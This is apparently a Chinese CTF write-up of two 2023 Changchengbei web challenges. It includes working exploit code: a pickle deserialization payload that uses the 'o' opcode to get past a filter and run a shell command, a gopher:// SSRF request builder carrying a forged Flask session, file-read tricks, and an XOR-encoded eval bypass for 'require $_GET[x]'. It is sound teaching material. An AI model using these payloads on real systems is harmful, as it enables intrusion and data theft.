当前位置: 首页 > news >正文

2023长城杯 web部分题目(seekingeasy_extension)

seeking

下载题目附件得到:

<?php
error_reporting(0);
header("HINT:POST n = range(1,10)");$image = $_GET['image'];
echo "这里什么也没有,或许吧。";
$allow = range(1, 10);
shuffle($allow);
if (($_POST['n'] == $allow[0])) {if(isset($image)){$image = base64_decode($image);$data = base64_encode(file_get_contents($image));echo "your image is".base64_encode($image)."</br>";echo "<img src='data:image/png;base64,$data'/>";}else{$data = base64_encode(file_get_contents("tupian.png"));echo "no image get,default img is dHVwaWFuLHBuZw==";echo "<img src='data:image/png;base64,$data'/>";}
}

首先要满足 post一个n跟1,10随机数相等 intruder模块爆破即可

$image这里没有过滤,可以使用file或者filter协议获取文件内容,但是直接获取不到flag 估计是名字不同

根据提示(图片里面有隐藏信息)

分离得到一个7z压缩包,解压得到secret.txt: M0sT_D4nger0us.php

搭配filter伪协议,读取文件内容得到文件代码:

在这里插入图片描述

<?php
$url=$_GET['url'];
$curlobj = curl_init($url);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
?>

典型ssrf 没有过滤

file:///etc/passwd 发现了secret用户

secret:x:1000:1000::/home/secret:/bin/sh

再根据提示:通过文件读取分析 bash记录

同时题目也提到了 小朱的一个ID叫secret的朋友叫他帮忙测试一下他的web服务

读取secret用户的历史命令,/home/secret/.bashhistory

在这里插入图片描述

看见了 /home/secret/Ez_Pickle/app.py文件

#!/usr/bin/python3.6
import os
import picklefrom base64 import b64decode
from flask import Flask, sessionapp = Flask(__name__)
app.config["SECRET_KEY"] = "idontwantyoutoknowthis"User = type('User', (object,), {'uname': 'xxx','__repr__': lambda o: o.uname,
})@app.route('/', methods=('GET','POST'))
def index_handler():u = pickle.dumps(User())session['u'] = ureturn "这里啥都没有,我只知道有个路由的名字和python常用的的一个序列化的包的名字一样哎"@app.route('/pickle', methods=('GET','POST'))
def pickle_handler():try:u = session.get('a')if isinstance(u, dict):code = b64decode(u.get('b'))if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:print(code)return "what do you want???"result=pickle.loads(code)return resultelse:return "almost there"except:return "error"if __name__ == '__main__':app.run('127.0.0.1', port=5555, debug=False)

pickle反序列化,给了SECRET_KEY 伪造session 给 对应的b赋值构造好的恶意 pickle序列化数据

存在过滤 if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:

o操作码绕过

import base64
import picklepayload = b'''(cos
system
S'cat /f* > /tmp/a'
o.'''
# ls / > /tmp/a 得到flag名称
code = payload
if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:print(code)
#pickle.loads(code)
print(base64.b64encode(payload))
import urllib.parse
a ='''GET /pickle HTTP/1.1
Host: 127.0.0.1:5555
Cookie: session=eyJhIjp7ImIiOiJLR052Y3dwemVYTjBaVzBLVXlkallYUWdMMllxSUQ0Z0wzUnRjQzloSndwdkxnPT0ifX0.ZPlszQ.mXPJEIl_a5JbUlHndOy5WOceS2s
'''tmp = urllib.parse.quote(a)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:5555/' + '_' + new
print(result)

gopher带着cookie发包

在这里插入图片描述

之后再写入 flag文件内容到tmp里 读取即可

在这里插入图片描述

easy_extension

/userinfo.php?info= 这里存在ssrf

fuzz得知,估计是白名单 只能用 http:// https:// gopher://

在登录界面,尝试弱口令 admin 123456登录,弹出 Just View From 127.0.0.1

在这里插入图片描述

结合前面 /userinfo.php?info这里 肯定就是利用ssrf gopher去发包,进行登录访问

发包后,得到下一步提示:Continue go to ‘/byfackstage/profile.php’

在这里插入图片描述

访问,看见了三个功能,一个 search 一个calc 一个 logout

在这里插入图片描述

select.php这里存在任意文件读取

最终得到文件内容为:

select.php

<?php
error_reporting(0);
include "./profile.php";
ini_set('open_basedir','/var/www/html/');
$search = $_POST['search'];if(!empty($search)){if(preg_match('/[^a-zA-Z.]+/',$search)) {die('hacker!');} else {$file_path=$search;if(!file_exists($file_path)){die("<script>alert('file No exist');location.href='select.php'</script>");}$fp=fopen($file_path,"rb");$file_size=filesize($file_path);Header("Content-type: application/octet-stream");Header("Accept-Ranges: bytes");Header("Accept-Length:".$file_size);Header("Content-Disposition: attachment; filename=".basename($file_path));$buffer=1024;$file_count=0;while(!feof($fp) && $file_count<$file_size){$file_con=fread($fp,$buffer);$file_count+=$buffer;echo $file_con;}fclose($fp);}
}

ini_set('open_basedir','/var/www/html/'); 这里限制了只能访问 /var/www/html 下的文件

calc.php

<?php
error_reporting(0);
include "profile.php";$one=$_POST['one'];
$two=$_POST['two'];
$cmd=Cmd\Calc::exe($one,$two);
echo $cmd;
eval($cmd);

logout.php

<?php
include "profile.php";
header("location: ../index.php");

利用点应该就在 calc.php里 里面存在eval 不过eval()里的内容 由 Cmd\Calc::exe() 决定

题目是 easy_extension 界面也给了 zephir generate Current_Directory php extensions

意思大概是:zephir在当前目录生成 php扩展

和 zephir有关 搜索得知 zephir 是专门开发php扩展的

zephir build 执行这个命令会先把zephir代码解析成C代码,然后编译该C代码成.so库文件,最后放进你的php扩展库目录

唉 当时想到读so来自,Cmd.so Calc.so 都没有

在这里插入图片描述

后面看山河师傅wp里 读的是 cmd.so 小写c 。。。赛后复盘就开始懊悔 应该多试试的来着

同时山河师傅还读了 wafCheck.php 当时也不知道还有这个文件

<?php
function waf($code){if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $code)){return $code;}else{return "hacker!!!";}
}

逆cmd.so 可以知道, Cmd\Calc::exe($one,$two) 是对one和two两个参数传进来的东西进行异或然后再当做php代码执行

因为会返回 $cmd 当时想的是 fuzz一下 python脚本如下:

import requests
import re
import string
burp0_url = "http://eci-2ze4x19l8hd7454rmx2y.cloudeci1.ichunqiu.com:80/byfackstage/calc.php"
dic = string.printable
dic1 = "CDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
for i in dic1:for j in dic:one = "{}".format(i)two = "{}".format(j)data = {"one": one, "two": two, "submit": "submit"}text = requests.post(burp0_url, data=data)char = ''.join(re.findall("</form>(.+?)",text.text))print(char,one,two)

黑盒 fuzz的时候 fuzz出来了大部分字符

P 1 a
S 1 b
R 1 c
U 1 d
T 1 e
W 1 f
V 1 g
Y 1 h
X 1 i
[ 1 j
Z 1 k
] 1 l
\ 1 m
_ 1 n
^ 1 o
A 1 p
@ 1 q
C 1 r
B 1 s
E 1 t
D 1 u
G 1 v
F 1 w
I 1 x
H 1 y
K 1 zG t 3
E v 3
T g 3
[ h 3
] n 3
^ m 3
[ h 3
] n 3
\ 0 3
@ s 3
_ i 6
) b K
$ a E
| 4 H
0 a Q
! a @
: a [
= a \
< a ]
? a ^
> a _
# b A
& b D
, b N
- b O
+ B i
/ a N

但是 应该是 php7版本 eval() assert()这种解析问题

我直接构造了 c m d = " cmd = " cmd="_GET[0]" 想着这样直接 eval($cmd); 进行rce 事实上是行不通的

山河师傅 构造的是 $cmd = "require G E T [ x ] ? > " 然后 e v a l ( _GET[x]?>" 然后 eval( GET[x]?>"然后eval(cmd) 这种是可以进行文件包含的 构造包含 /flag即可

利用无字母数字异或rce绕过 wafCheck.php的限制 tql orz

这里贴一张山河师傅成功的图:

在这里插入图片描述

参考:https://www.yuque.com/shanhe-9jurb/kfn512/ll4pa9uzg40l5elk?singleDoc#aIM8U

相关文章:

2023长城杯 web部分题目(seekingeasy_extension)

seeking 下载题目附件得到&#xff1a; <?php error_reporting(0); header("HINT:POST n range(1,10)");$image $_GET[image]; echo "这里什么也没有&#xff0c;或许吧。"; $allow range(1, 10); shuffle($allow); if (($_POST[n] $allow[0])) …...

2-1 张量数据结构

张量概念 张量是什么&#xff1f; 单个元素叫标量&#xff08;scalar&#xff09;&#xff0c;一个序列叫向量&#xff08;vector&#xff09;&#xff0c;多个序列组成的平面叫矩阵&#xff08;matrix&#xff09;&#xff0c;多个平面组成的立方体叫张量&#xff08;tensor&…...

QSqlQuery查询语句

SqlQuery 封装了在 QSqlDatabase 上执行的 SQL 查询中创建、导航和检索数据所涉及的功能。 可用于执行 DML&#xff08;数据操作语言&#xff09;语句&#xff0c;如 SELECT、INSERT、UPDATE 和 DELETE&#xff0c; 以及 DDL&#xff08;数据定义语言&#xff09;语句&#xff…...

用c语言编写出三底模型

以下是一个用C语言实现三底模型的示例代码。这个程序通过循环遍历输入的股票数据&#xff0c;判断是否出现三底形态&#xff0c;如果是&#xff0c;则输出买入信号&#xff0c;否则输出卖出信号。 c语言 #include <stdio.h> #include <stdlib.h> // 判断是否出现…...

15 Python使用MySQL

概述 在上一节&#xff0c;我们介绍了如何在Python中使用网络&#xff0c;包括&#xff1a;套接字编程、socketserver等内容。在这一节&#xff0c;我们将介绍如何在Python中使用MySQL。MySQL是最流行的关系型数据库管理系统之一&#xff0c;由瑞典MySQL AB公司开发&#xff0c…...

3、Nginx 常用的命令和配置文件

文章目录 3、nginx 常用的命令和配置文件3.1 nginx 常用的命令&#xff1a;3.2 nginx.conf 配置文件3.2.1 地址3.2.2 内容3.2.2 vim不正常退出后再次打开信息提示解决方法 3.3 第一部分&#xff1a;全局块3.4 第二部分&#xff1a;events 块3.4 第三部分&#xff1a;http 块①、…...

python经典百题之兔子出生问题

这是一个经典的 Fibonacci 数列问题&#xff0c;可以通过递归或循环来解决。 递归方法&#xff1a; 由题意可知&#xff0c;第 n 个月的兔子数等于第 n-1 个月的兔子数加上第 n-2 个月的兔子数。设 f(n) 表示第 n 个月的兔子数&#xff0c;则有&#xff1a; f(n) f(n-1) f…...

不定积分的概念和性质

目录 原函数 不定积分 不定积分的几何意义 原函数的存在定理 不定积分的性质 不定积分是微积分的一个关键部分&#xff0c;它涉及到一个函数的不定积分的计算。不定积分可以理解为求一个函数的原函数&#xff0c;也被称为反导数。原函数是一个函数&#xff0c;使得该函数的…...

远程访问服务器JupyterLab的配置方法

远程访问服务器JupyterLab的配置方法 环境及工具注意 基本步骤生成密码生成并修改配置文件*错误&#xff1a;jupyter localhost 已拒绝连接*后台运行jupyter后台关闭 其实就是在服务器运行JupyterLab&#xff0c;然后在本地浏览器访问 环境及工具 服务器&#xff1a;Ubuntu 1…...

Java native 关键字

如你在看 JDK 的源代码的时候&#xff0c;大概率会看到很多方法使用了 native 关键字。 下面是 String 对象 JDK 中的源代码&#xff0c;就带有了一个 native 关键字。 native 是干什么用的 简单来说就是 Java 的 native 方法的实现不是用 Java 实现的&#xff0c;可能在其他…...

【线性代数】沉浸式线性代数在线学习网站

地址&#xff1a;http://immersivemath.com/ila/index.html 这是全球第一本带交互式图形的线性代数教材&#xff0c;作者是 J. Strm, K. strm, and T. Akenine-Mller。 全书一共十章&#xff0c;各章节内容如下&#xff1a; 接下来我将对各章节进行简单的总结&#xff0c;另外…...

Kotlin中特性、数据类、伴生对象、顶层函数

Kotlin中的函数参数和属性声明 在 Kotlin 中&#xff0c;函数参数和属性有不同的声明方式和行为。这些特性使得 Kotlin 代码更加安全、易于理解和维护。 函数参数的只读性 fun sum(a: Int, b: Int): Int {var modifiedA aif (modifiedA > 0) {modifiedA 1}//三元表达式v…...

《PostgreSQL物化视图:创建、维护与应用》

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f405;&#x1f43e;猫头虎建议程序员必备技术栈一览表&#x1f4d6;&#xff1a; &#x1f6e0;️ 全栈技术 Full Stack: &#x1f4da…...

shell脚本之test命令

shell脚本之test命令 数值比较&#xff1a;2. 字符串比较&#xff1a;3. 文件测试&#xff1a;4. 逻辑操作&#xff1a;5. 其他测试&#xff1a; test命令在Shell脚本中用于进行条件测试和条件判断。它用于检查文件、字符串和数值的各种条件&#xff0c;并返回一个状态码&#…...

JAVA设计模式8:装饰模式,动态地将责任附加到对象上,扩展对象的功能

作者主页&#xff1a;Designer 小郑 作者简介&#xff1a;3年JAVA全栈开发经验&#xff0c;专注JAVA技术、系统定制、远程指导&#xff0c;致力于企业数字化转型&#xff0c;CSDN博客专家&#xff0c;阿里云社区专家博主&#xff0c;蓝桥云课讲师。 目录 一、什么是装饰模式二、…...

Linux学习之MySQL备份

xtrabackup资源下载 完全备份与恢复 # 1.物理备份与恢复 # 冷备份&#xff0c;需停止数据库服务 适合线下服务器。 [rootmysql50 ~]# systemctl stop mysqld [rootmysql50 ~]# mkdir /bakdir [rootmysql50 ~]# cp -r /var/lib/mysql /bakdir/mysql.bak [rootmysql50 ~]# cd /…...

时序分解 | MATLAB实现北方苍鹰优化算法NGO优化VMD信号分量可视化

时序分解 | MATLAB实现北方苍鹰优化算法NGO优化VMD信号分量可视化 目录 时序分解 | MATLAB实现北方苍鹰优化算法NGO优化VMD信号分量可视化效果一览基本介绍程序设计参考资料 效果一览 基本介绍 北方苍鹰优化算法NGO优化VMD&#xff0c;对其分解层数&#xff0c;惩罚因子数做优化…...

分类预测 | Matlab实现RBF-Adaboost多特征分类预测

分类预测 | Matlab实现RBF-Adaboost多特征分类预测 目录 分类预测 | Matlab实现RBF-Adaboost多特征分类预测效果一览基本介绍研究内容程序设计参考资料 效果一览 基本介绍 1.Matlab实现基于RBF-Adaboost数据分类预测&#xff08;Matlab完整程序和数据&#xff09; 2.多特征输入…...

【Java代码规范】阿里编码规约 VS CheckStyle

全文速览&#xff1a; 1、关于代码编码质量2、如何小成本有效管理企业内的编码规范 2.1 阿里编码规约IDE插件2.2 CheckStyle IDE插件 3、如何在代码提交中检验规范 3.1 阿里编码规约配置git precommit check3.2 CheckStyle配置git precommit check3.3 实践 1、关于代码编码质…...

iPhone苹果15手机圆点怎么设置让屏幕上显示出来圆形图标?

iPhone苹果15手机圆点怎么设置让屏幕上显示出来圆形图标&#xff1f; 1、在iPhone苹果手机上找到「设置」并点击打开&#xff1b; 2、在苹果iPhone设置内找到「辅助功能」并点击打开&#xff1b; 3、在苹果iPhone手机辅助功能内的动作交互内找到「触控」并点击打开&#xff1b…...

VCAM虚拟摄像头:3大创新功能解锁安卓摄像头的无限应用场景

VCAM虚拟摄像头&#xff1a;3大创新功能解锁安卓摄像头的无限应用场景 【免费下载链接】com.example.vcam 虚拟摄像头 virtual camera 项目地址: https://gitcode.com/gh_mirrors/co/com.example.vcam VCAM虚拟摄像头是一款基于Xposed框架的安卓虚拟相机解决方案&#x…...

工业物联网时序数据库实战:Apache IoTDB 架构解析与性能调优指南

1. 工业物联网时序数据库的核心挑战 在智能制造和工业4.0时代&#xff0c;工厂车间里每台设备都像话痨一样不断"吐"数据——温度传感器每秒报告10次读数&#xff0c;振动监测仪每毫秒采集1组波形&#xff0c;这些数据如果堆起来&#xff0c;一年能填满几个三峡水库。…...

PyTorch 3.0静态图分布式训练源码分析窗口即将关闭:官方已标记torch.distributed._spmd模块为“实验性冻结”,2024 Q3后将移除调试钩子入口

第一章&#xff1a;PyTorch 3.0静态图分布式训练的演进背景与冻结决策动因PyTorch 3.0正式宣布冻结静态图&#xff08;TorchScript&#xff09;在分布式训练路径中的演进支持&#xff0c;这一决策并非技术倒退&#xff0c;而是基于多年大规模生产实践与生态协同的理性收敛。随着…...

别再为3DGS头疼了!手把手教你用COLMAP+UnityGaussianSplatting从照片到实时场景(避坑指南)

3D高斯重建实战&#xff1a;从照片到Unity实时渲染的全流程避坑指南 当我在工作室第一次尝试将手机拍摄的照片转换成可交互的3D场景时&#xff0c;经历了无数次COLMAP崩溃、点云缺失和Unity插件报错。这种挫败感让我意识到&#xff0c;3D高斯重建技术虽然强大&#xff0c;但工具…...

AI 内容导出乱、格式崩、公式变?我开发了这只鸭子帮我全解决了(四)** AI导出鸭 专写职场篇:从日常汇报到年终述职,AI 导出的那些隐形损耗

不聊"AI 怎么提升效率"这种宏观话题—— 就聊一件很具体的小事&#xff1a; 你用 AI 搞定的内容&#xff0c;最后能不能专业地呈现出去&#xff1f;━━ 先说一个很多人经历过的时刻 ━━ 周五下午四点&#xff0c;领导突然要一份市场分析报告&#xff0c;六点前发过…...

深度拆解 JDK1.8 ConcurrentHashMap 核心方法:从 put 到扩容,彻底吃透并发神器

在 Java 高并发编程中&#xff0c;ConcurrentHashMap是线程安全 Map 的绝对首选&#xff0c;而 JDK1.8 版本对它的重构堪称并发设计的巅峰之作 —— 彻底抛弃分段锁&#xff0c;用CAS 桶级 synchronized实现极致细粒度并发&#xff0c;搭配多线程协同扩容、链表红黑树转换、高…...

OpenClaw版本升级:GLM-4.7-Flash环境无缝迁移指南

OpenClaw版本升级&#xff1a;GLM-4.7-Flash环境无缝迁移指南 1. 为什么需要升级&#xff1f; 上周我在本地开发环境遇到一个棘手问题&#xff1a;OpenClaw的旧版本无法正确解析GLM-4.7-Flash模型返回的JSON响应。经过排查发现是框架对数组嵌套结构的处理存在兼容性问题。这促…...

双屏生产力拉满!YogaBook 9i 多屏操作玩法与效率指南

YogaBook 9i 凭借独特的双屏设计&#xff0c;打破了传统笔记本的使用边界&#xff0c;成为移动办公、创意创作、高效学习的热门机型。但很多用户拿到手后&#xff0c;只把它当作普通笔记本使用&#xff0c;没能发挥双屏协同的真正优势&#xff0c;多任务处理、分屏操作、跨屏交…...

OpenClaw+百川2-13B办公自动化:会议纪要生成与邮件发送全流程

OpenClaw百川2-13B办公自动化&#xff1a;会议纪要生成与邮件发送全流程 1. 为什么需要自动化会议纪要处理 上周三的部门例会让我彻底崩溃了——2小时的会议录音&#xff0c;手动整理成纪要花了整整3小时。更糟的是&#xff0c;当我终于把邮件发出去时&#xff0c;发现漏掉了…...

010Editor逆向实战:从爆破到算法还原的完整通关指南(附注册机源码)

010Editor逆向工程深度解析&#xff1a;从关键跳转定位到注册机实现 1. 逆向工程基础与工具链搭建 逆向工程作为软件安全领域的核心技术&#xff0c;要求分析者具备扎实的汇编语言基础和系统级编程经验。在进行010Editor逆向分析前&#xff0c;需要构建完整的工具链环境&#x…...